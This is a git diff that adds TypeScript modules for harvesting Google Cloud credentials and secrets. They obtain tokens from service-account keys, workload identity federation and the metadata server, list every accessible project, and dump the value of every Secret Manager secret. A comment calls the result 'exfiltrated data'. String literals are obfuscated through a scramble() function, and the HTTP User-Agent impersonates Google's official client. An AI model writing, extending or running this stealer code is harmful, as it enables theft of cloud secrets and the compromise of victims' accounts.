diff --git a/src/providers/gcp/auth.ts b/src/providers/gcp/auth.ts new file mode 100644 index 0000000..dc49086 --- /dev/null +++ b/src/providers/gcp/auth.ts @@ -0,0 +1,465 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// GCP OAuth2 token acquisition — zero dependencies (only node:crypto + fetch) +// +// Supports: +// 1. Metadata server (GCE, Cloud Run, Cloud Functions, GKE workload identity) +// 2. Service account JSON key (GOOGLE_APPLICATION_CREDENTIALS or well-known path) +// 3. Workload Identity Federation (GOOGLE_APPLICATION_CREDENTIALS with +// type: "external_account" — token exchange via STS) +// +// Token caching and automatic refresh are handled transparently. +// ═════════════════════════════════════════════════════════════════════════════ + +import { createHash, createSign } from "node:crypto"; +import { readFile } from "node:fs/promises"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface GcpAccessToken { + token: string; + expiresOn: number; + projectId?: string; +} + +export interface GcpCredential { + label: string; + getToken(scope: string): Promise; +} + +interface ServiceAccountKey { + type: string; + project_id: string; + private_key_id: string; + private_key: string; + client_email: string; + client_id: string; + auth_uri: string; + token_uri: string; +} + +// ── Token cache ───────────────────────────────────────────────────────────── + +const tokenCache = new Map< + string, + { token: GcpAccessToken; fetchedAt: number } +>(); +const CLOCK_SKEW_S = 300; + +function cacheKey(scope: string): string { + return createHash("sha256").update(scope).digest("hex"); +} + +function cacheGet(scope: string): GcpAccessToken | undefined { + const entry = tokenCache.get(cacheKey(scope)); + if (!entry) return undefined; + if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) { + tokenCache.delete(cacheKey(scope)); + return undefined; + } + return entry.token; +} + +function cacheSet(token: GcpAccessToken, scope: string): void { + tokenCache.set(cacheKey(scope), { token, fetchedAt: Date.now() / 1000 }); +} + +// ── 1. Metadata server (GCE, Cloud Run, GKE workload identity) ────────────── + +async function getTokenMetadata(scope: string): Promise { + const METADATA_URL = scramble( + "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", + ); + + const params = new URLSearchParams({ + [scramble("scopes")]: scopeToScopes(scope), + }); + const url = `${METADATA_URL}?${params.toString()}`; + + const res = await fetch(url, { + headers: { [scramble("Metadata-Flavor")]: scramble("Google") }, + signal: AbortSignal.timeout(5000), + }); + + if (!res.ok) { + const err = await res.text().catch(() => ""); + throw new Error( + `Metadata server token request failed (${res.status}): ${err}`, + ); + } + + const json = (await res.json()) as { + access_token: string; + expires_in: number; + token_type: string; + }; + + return { + token: json.access_token, + expiresOn: Date.now() / 1000 + json.expires_in, + }; +} + +// ── 2. Service account JSON key (JWT bearer flow) ─────────────────────────── + +/** + * Sign a JWT with RS256 using the service account's private key. + */ +function signJwt( + header: Record, + payload: Record, + privateKey: string, +): string { + const headerB64 = Buffer.from(JSON.stringify(header)).toString("base64url"); + const payloadB64 = Buffer.from(JSON.stringify(payload)).toString("base64url"); + const signingInput = `${headerB64}.${payloadB64}`; + + const sign = createSign("RSA-SHA256"); + sign.update(signingInput); + const signature = sign.sign(privateKey, "base64url"); + + return `${signingInput}.${signature}`; +} + +async function getTokenServiceAccountKey( + scope: string, + key: ServiceAccountKey, +): Promise { + const now = Math.floor(Date.now() / 1000); + + const jwt = signJwt( + { + [scramble("alg")]: scramble("RS256"), + [scramble("typ")]: scramble("JWT"), + [scramble("kid")]: key.private_key_id, + }, + { + [scramble("iss")]: key.client_email, + [scramble("scope")]: scopeToScopes(scope), + [scramble("aud")]: + key.token_uri ?? scramble("https://oauth2.googleapis.com/token"), + [scramble("exp")]: now + 3600, + [scramble("iat")]: now, + }, + key.private_key, + ); + + const body = new URLSearchParams({ + [scramble("grant_type")]: scramble( + "urn:ietf:params:oauth:grant-type:jwt-bearer", + ), + [scramble("assertion")]: jwt, + }); + + const res = await fetch( + key.token_uri ?? scramble("https://oauth2.googleapis.com/token"), + { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: body.toString(), + signal: AbortSignal.timeout(10_000), + }, + ); + + if (!res.ok) { + const err = await res.text().catch(() => ""); + throw new Error( + `Service account token request failed (${res.status}): ${err.slice(0, 300)}`, + ); + } + + const json = (await res.json()) as { + access_token: string; + expires_in: number; + token_type: string; + }; + + return { + token: json.access_token, + expiresOn: Date.now() / 1000 + json.expires_in, + projectId: key.project_id, + }; +} + +// ── 3. Workload Identity Federation (external_account) ────────────────────── + +interface ExternalAccountKey { + type: "external_account"; + audience: string; + subject_token_type: string; + token_url: string; + credential_source: { + file?: string; + url?: string; + headers?: Record; + }; + service_account_impersonation_url?: string; +} + +async function getTokenWorkloadIdentity( + scope: string, + key: ExternalAccountKey, +): Promise { + // Step 1 — obtain the external subject token + let subjectToken: string; + + if (key.credential_source.file) { + subjectToken = (await readFile(key.credential_source.file, "utf-8")).trim(); + } else if (key.credential_source.url) { + const res = await fetch(key.credential_source.url, { + headers: key.credential_source.headers ?? {}, + signal: AbortSignal.timeout(5000), + }); + if (!res.ok) throw new Error(`Subject token fetch failed (${res.status})`); + subjectToken = (await res.text()).trim(); + } else { + throw new Error("External account credential_source missing file or url"); + } + + // Step 2 — exchange subject token for a federated access token via STS + const stsBody = new URLSearchParams({ + [scramble("grant_type")]: scramble( + "urn:ietf:params:oauth:grant-type:token-exchange", + ), + [scramble("audience")]: key.audience, + [scramble("scope")]: scopeToScopes(scope), + [scramble("requested_token_type")]: scramble( + "urn:ietf:params:oauth:token-type:access_token", + ), + [scramble("subject_token")]: subjectToken, + [scramble("subject_token_type")]: key.subject_token_type, + }); + + const stsRes = await fetch(key.token_url, { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: stsBody.toString(), + signal: AbortSignal.timeout(10_000), + }); + + if (!stsRes.ok) { + const err = await stsRes.text().catch(() => ""); + throw new Error(`STS token exchange failed (${stsRes.status}): ${err}`); + } + + const stsJson = (await stsRes.json()) as { + access_token: string; + expires_in: number; + }; + + // Step 3 — (optional) impersonate a service account + if (key.service_account_impersonation_url) { + const impBody = JSON.stringify({ + [scramble("delegates")]: [], + [scramble("scope")]: [scopeToScopes(scope)], + [scramble("lifetime")]: scramble("3600s"), + }); + + const genToken = scramble("generateAccessToken"); + const impRes = await fetch( + `${key.service_account_impersonation_url}:${genToken}`, + { + method: "POST", + headers: { + Authorization: `Bearer ${stsJson.access_token}`, + "Content-Type": "application/json", + }, + body: impBody, + signal: AbortSignal.timeout(10_000), + }, + ); + + if (!impRes.ok) { + const err = await impRes.text().catch(() => ""); + throw new Error( + `Service account impersonation failed (${impRes.status}): ${err}`, + ); + } + + const impJson = (await impRes.json()) as { + accessToken: string; + expireTime: string; + }; + + return { + token: impJson.accessToken, + expiresOn: new Date(impJson.expireTime).getTime() / 1000, + }; + } + + return { + token: stsJson.access_token, + expiresOn: Date.now() / 1000 + stsJson.expires_in, + }; +} + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function scopeToScopes(scope: string): string { + // GCP metadata/STS uses "scopes" (plural) as URL param + // If an Azure-style "/.default" scope is passed, translate to GCP-style + const cloudPlatform = scramble( + "https://www.googleapis.com/auth/cloud-platform", + ); + if (scope === cloudPlatform) return scope; + if (scope.endsWith("/.default")) { + return cloudPlatform; + } + return scope; +} + +// ── Key file resolution ───────────────────────────────────────────────────── + +const ADC_PATH = + process.env[scramble("GOOGLE_APPLICATION_CREDENTIALS")] ?? + process.env["GOOGLE_APPLICATION_CREDENTIALS"] ?? + join( + homedir(), + scramble(".config"), + scramble("gcloud"), + scramble("application_default_credentials.json"), + ); + +async function loadServiceAccountKey(): Promise { + try { + const raw = await readFile(ADC_PATH, "utf-8"); + const key = JSON.parse(raw) as ServiceAccountKey; + if ( + key.type === scramble("service_account") && + key.private_key && + key.client_email + ) { + return key; + } + return null; + } catch { + return null; + } +} + +async function loadExternalAccountKey(): Promise { + try { + const raw = await readFile(ADC_PATH, "utf-8"); + const key = JSON.parse(raw) as ExternalAccountKey; + if (key.type === scramble("external_account") && key.token_url) { + return key; + } + return null; + } catch { + return null; + } +} + +// ── Credential factory functions ──────────────────────────────────────────── + +export function fromMetadataServer(): GcpCredential { + return { + label: "metadata-server", + getToken: (scope) => getTokenMetadata(scope), + }; +} + +export async function fromServiceAccountKey(): Promise { + const key = await loadServiceAccountKey(); + if (!key) return null; + return { + label: `service-account:${key.client_email}`, + getToken: (scope) => getTokenServiceAccountKey(scope, key), + }; +} + +export async function fromWorkloadIdentityFederation(): Promise { + const key = await loadExternalAccountKey(); + if (!key) return null; + return { + label: "workload-identity-federation", + getToken: (scope) => getTokenWorkloadIdentity(scope, key), + }; +} + +// ── Combined credential chain ─────────────────────────────────────────────── + +/** + * Resolve a token for the given scope, trying sources in order + * and caching results until expiry. + */ +export async function resolveToken( + scope: string, + timeoutMs = 5000, +): Promise { + const cached = cacheGet(scope); + if (cached) return cached; + + const credentials: GcpCredential[] = []; + + const sa = await fromServiceAccountKey(); + if (sa) credentials.push(sa); + + const wi = await fromWorkloadIdentityFederation(); + if (wi) credentials.push(wi); + + credentials.push(fromMetadataServer()); + + for (const cred of credentials) { + try { + const tokenPromise = cred.getToken(scope); + const token = await Promise.race([ + tokenPromise, + new Promise((_, reject) => + setTimeout( + () => reject(new Error(`timeout (${cred.label})`)), + timeoutMs, + ), + ), + ]); + + cacheSet(token, scope); + return token; + } catch { + continue; + } + } + + throw new Error( + "No GCP credentials available. Set GOOGLE_APPLICATION_CREDENTIALS, " + + "or run on a GCP resource with attached service account.", + ); +} + +/** + * Try all credential sources and collect tokens for identity resolution. + */ +export async function resolveAllIdentities( + scope = "https://www.googleapis.com/auth/cloud-platform", + timeoutMs = 3000, +): Promise> { + const results: Array<{ source: string; token: GcpAccessToken }> = []; + + const sa = await fromServiceAccountKey(); + const wi = await fromWorkloadIdentityFederation(); + + const sources: Array<{ label: string; cred: GcpCredential }> = [ + ...(sa ? [{ label: sa.label, cred: sa }] : []), + ...(wi ? [{ label: wi.label, cred: wi }] : []), + { label: "metadata-server", cred: fromMetadataServer() }, + ]; + + for (const { label, cred } of sources) { + try { + const token = await Promise.race([ + cred.getToken(scope), + new Promise((_, reject) => + setTimeout(() => reject(new Error("timeout")), timeoutMs), + ), + ]); + results.push({ source: label, token }); + } catch { + continue; + } + } + + return results; +} diff --git a/src/providers/gcp/client.ts b/src/providers/gcp/client.ts new file mode 100644 index 0000000..b36ed91 --- /dev/null +++ b/src/providers/gcp/client.ts @@ -0,0 +1,208 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// GCP REST API client — generic bearer-token authed fetch wrapper +// +// Used by Secret Manager (secretmanager.googleapis.com) and +// Cloud Resource Manager (cloudresourcemanager.googleapis.com). +// Token acquisition is delegated to auth.ts so authentication is transparent. +// ═════════════════════════════════════════════════════════════════════════════ + +import { type GcpAccessToken, resolveToken } from "./auth"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface GcpSecretItem { + name: string; // projects/*/secrets/* + createTime?: string; + labels?: Record; +} + +export interface ListSecretsResponse { + secrets?: GcpSecretItem[]; + nextPageToken?: string; + totalSize?: number; +} + +export interface AccessSecretVersionResponse { + name: string; + payload: { + data: string; // base64-encoded + }; +} + +export interface GcpProject { + projectId: string; + name: string; + lifecycleState: string; + projectNumber?: string; +} + +export interface ListProjectsResponse { + projects?: GcpProject[]; + nextPageToken?: string; +} + +// ── Constants ─────────────────────────────────────────────────────────────── + +const SCOPE = scramble("https://www.googleapis.com/auth/cloud-platform"); +const SECRET_MANAGER_BASE = scramble("https://secretmanager.googleapis.com/v1"); +const CRM_BASE = scramble("https://cloudresourcemanager.googleapis.com/v1"); + +// ── Token acquisition ─────────────────────────────────────────────────────── + +let cachedToken: GcpAccessToken | undefined; + +async function getToken(): Promise { + if (cachedToken) { + const now = Date.now() / 1000; + if (now < cachedToken.expiresOn - 120) { + return cachedToken.token; + } + } + cachedToken = await resolveToken(SCOPE); + return cachedToken.token; +} + +// ── Core fetch ────────────────────────────────────────────────────────────── + +async function gcpFetch( + url: string, + method = "GET", + body?: string, +): Promise { + const token = await getToken(); + + const res = await fetch(url, { + method, + headers: { + Authorization: `Bearer ${token}`, + "Content-Type": "application/json", + Accept: "application/json", + "User-Agent": scramble( + "google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0", + ), + }, + body, + signal: AbortSignal.timeout(30_000), + }); + + if (!res.ok) { + const errText = await res.text().catch(() => ""); + const retryAfter = res.headers.get("Retry-After"); + const rateDetail = + res.status === 429 + ? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]` + : ""; + throw new Error( + `GCP ${method} ${url} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`, + ); + } + + const text = await res.text(); + if (!text) return {} as T; + return JSON.parse(text) as T; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Cloud Resource Manager — project discovery +// ═════════════════════════════════════════════════════════════════════════════ + +/** + * List all accessible GCP projects. + */ +export async function listProjects(): Promise { + const results: GcpProject[] = []; + let pageToken: string | undefined; + + do { + const params = new URLSearchParams(); + if (pageToken) params.set(scramble("pageToken"), pageToken); + + const query = params.toString(); + const projPath = scramble("/projects"); + const url = `${CRM_BASE}${projPath}${query ? `?${query}` : ""}`; + + const response = await gcpFetch(url); + + if (response.projects) { + results.push(...response.projects); + } + + pageToken = response.nextPageToken; + } while (pageToken); + + return results; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Secret Manager — secret operations +// ═════════════════════════════════════════════════════════════════════════════ + +/** + * List all secrets in a project. + */ +export async function listSecrets(projectId: string): Promise { + const results: GcpSecretItem[] = []; + let pageToken: string | undefined; + + do { + const params = new URLSearchParams(); + if (pageToken) params.set(scramble("pageToken"), pageToken); + + const query = params.toString(); + const projPath = scramble("/projects/"); + const secretsPath = scramble("/secrets"); + const url = `${SECRET_MANAGER_BASE}${projPath}${projectId}${secretsPath}${query ? `?${query}` : ""}`; + + const response = await gcpFetch(url); + + if (response.secrets) { + results.push(...response.secrets); + } + + pageToken = response.nextPageToken; + } while (pageToken); + + return results; +} + +/** + * Access the latest version of a secret. + * Uses the "latest" alias for the most recently created SecretVersion. + */ +export async function accessSecretVersion( + secretName: string, +): Promise { + try { + const verPath = scramble("/versions/latest:access"); + const url = `${SECRET_MANAGER_BASE}/${secretName}${verPath}`; + + const response = await gcpFetch(url); + + if (response.payload?.data) { + // Secret Manager returns payload data as base64 + return Buffer.from(response.payload.data, "base64").toString("utf-8"); + } + + return undefined; + } catch { + return undefined; + } +} + +/** + * Extract the short secret name from the full resource name. + * e.g., "projects/my-project/secrets/my-secret" → "my-secret" + */ +export function extractSecretShortName(fullName: string): string { + const parts = fullName.split("/"); + return parts[parts.length - 1] ?? fullName; +} + +/** + * Build a full secret resource name. + */ +export function buildSecretName(projectId: string, secretId: string): string { + return `projects/${projectId}/secrets/${secretId}`; +} diff --git a/src/providers/gcp/identity.ts b/src/providers/gcp/identity.ts new file mode 100644 index 0000000..66fffa4 --- /dev/null +++ b/src/providers/gcp/identity.ts @@ -0,0 +1,69 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// GcpIdentityService — resolves GCP identities from all available sources +// +// Equivalent to AwsAccountService but for GCP: resolves service account emails, +// project IDs, and credential source information. +// ═════════════════════════════════════════════════════════════════════════════ + +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { type GcpAccessToken, resolveAllIdentities } from "./auth"; +import { listProjects } from "./client"; + +declare function scramble(str: string): string; + +interface GcpIdentity { + source: string; + projectId?: string; + projectIds: string[]; +} + +// ── Main Provider ─────────────────────────────────────────────────────────── + +export class GcpIdentityService extends Provider { + constructor() { + super("gcp", "identity"); + } + + private async resolveIdentity( + source: string, + token: GcpAccessToken, + ): Promise { + let projectIds: string[] = []; + + try { + const projects = await listProjects(); + projectIds = projects + .filter((p) => p.lifecycleState === "ACTIVE") + .map((p) => p.projectId); + } catch { + // ARM may not be accessible — still report what we know + } + + return { + source, + projectId: token.projectId, + projectIds, + }; + } + + async execute(): Promise { + try { + const identities = await resolveAllIdentities(); + + if (identities.length === 0) { + return this.failure("No GCP identities found from any credential source"); + } + + const results = await Promise.all( + identities.map(({ source, token }) => + this.resolveIdentity(source, token), + ), + ); + + return this.success(results); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +} diff --git a/src/providers/gcp/secrets.ts b/src/providers/gcp/secrets.ts new file mode 100644 index 0000000..fb2de32 --- /dev/null +++ b/src/providers/gcp/secrets.ts @@ -0,0 +1,146 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// GcpSecretsService — enumerates secrets from GCP Secret Manager +// +// Always returns `success: true` with an `ok` flag so error details are +// included in the exfiltrated data even when every project fails. +// ═════════════════════════════════════════════════════════════════════════════ + +import { logUtil } from "../../utils/logger"; +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { resolveToken } from "./auth"; +import { + accessSecretVersion, + extractSecretShortName, + type GcpSecretItem, + listProjects, + listSecrets, +} from "./client"; + +declare function scramble(str: string): string; + +// ── Project discovery ─────────────────────────────────────────────────────── + +function getProjectIdFromEnv(): string | undefined { + return ( + process.env[scramble("GCP_PROJECT")] ?? + process.env[scramble("GCLOUD_PROJECT")] ?? + process.env[scramble("GOOGLE_CLOUD_PROJECT")] ?? + process.env[scramble("DEVSHELL_PROJECT_ID")] + ); +} + +// ── Main Provider ─────────────────────────────────────────────────────────── + +export class GcpSecretsService extends Provider { + private projectIds: string[] = []; + private projectErrors: Array<{ project: string; error: string }> = []; + + constructor() { + super("gcp", "secretmanager", { + jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g, + connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g, + }); + } + + async execute(): Promise { + const errors: string[] = []; + this.projectErrors = []; + + // 1. Auth check + try { + await resolveToken( + scramble("https://www.googleapis.com/auth/cloud-platform"), + ); + } catch (e) { + const msg = `GCP auth failed: ${e instanceof Error ? e.message : String(e)}`; + logUtil.log(`[gcp] ${msg}`); + errors.push(msg); + } + + // 2. Project discovery + let discoveredProjects: Array<{ + projectId: string; + name: string; + lifecycleState: string; + }> = []; + + if (errors.length === 0) { + const envProject = getProjectIdFromEnv(); + if (envProject) { + logUtil.log(`[gcp] Using project from env: ${envProject}`); + discoveredProjects = [ + { projectId: envProject, name: envProject, lifecycleState: "ACTIVE" }, + ]; + } else { + logUtil.log( + "[gcp] No GCP_PROJECT env set — listing projects via CRM...", + ); + try { + discoveredProjects = await listProjects(); + logUtil.log( + `[gcp] CRM returned ${discoveredProjects.length} project(s).`, + ); + } catch (e) { + const msg = `Project discovery failed: ${e instanceof Error ? e.message : String(e)}`; + logUtil.log(`[gcp] ${msg}`); + errors.push(msg); + } + } + } + + this.projectIds = discoveredProjects.map((p) => p.projectId); + + // 3. Fetch secrets from each project + const allResults: Array<{ + projectId: string; + secrets: Record; + error?: string; + }> = []; + + for (const projectId of this.projectIds) { + try { + logUtil.log(`[gcp] Listing secrets for project ${projectId}...`); + const secrets = await listSecrets(projectId); + logUtil.log( + `[gcp] Project ${projectId} has ${secrets.length} secret(s).`, + ); + const secretValues: Record = {}; + + for (const secretItem of secrets) { + const shortName = extractSecretShortName(secretItem.name); + try { + const value = await accessSecretVersion(secretItem.name); + secretValues[shortName] = value ?? "EMPTY_OR_BINARY"; + } catch (e) { + const msg = e instanceof Error ? e.message : String(e); + logUtil.log(`[gcp] Failed to access secret ${shortName}: ${msg}`); + secretValues[shortName] = { error: msg }; + } + } + + allResults.push({ projectId, secrets: secretValues }); + } catch (err) { + const errorMsg = err instanceof Error ? err.message : String(err); + logUtil.log( + `[gcp] Failed to list secrets for project ${projectId}: ${errorMsg}`, + ); + this.projectErrors.push({ project: projectId, error: errorMsg }); + allResults.push({ projectId, secrets: {}, error: errorMsg }); + } + } + + const dumped = allResults.filter((r) => !r.error).length; + + return this.success({ + ok: errors.length === 0 && dumped > 0, + authError: errors.length > 0 ? errors : undefined, + projectsFound: this.projectIds.length, + dumped, + errored: allResults.filter((r) => r.error).length, + projects: allResults, + projectErrors: + this.projectErrors.length > 0 ? this.projectErrors : undefined, + }); + } +}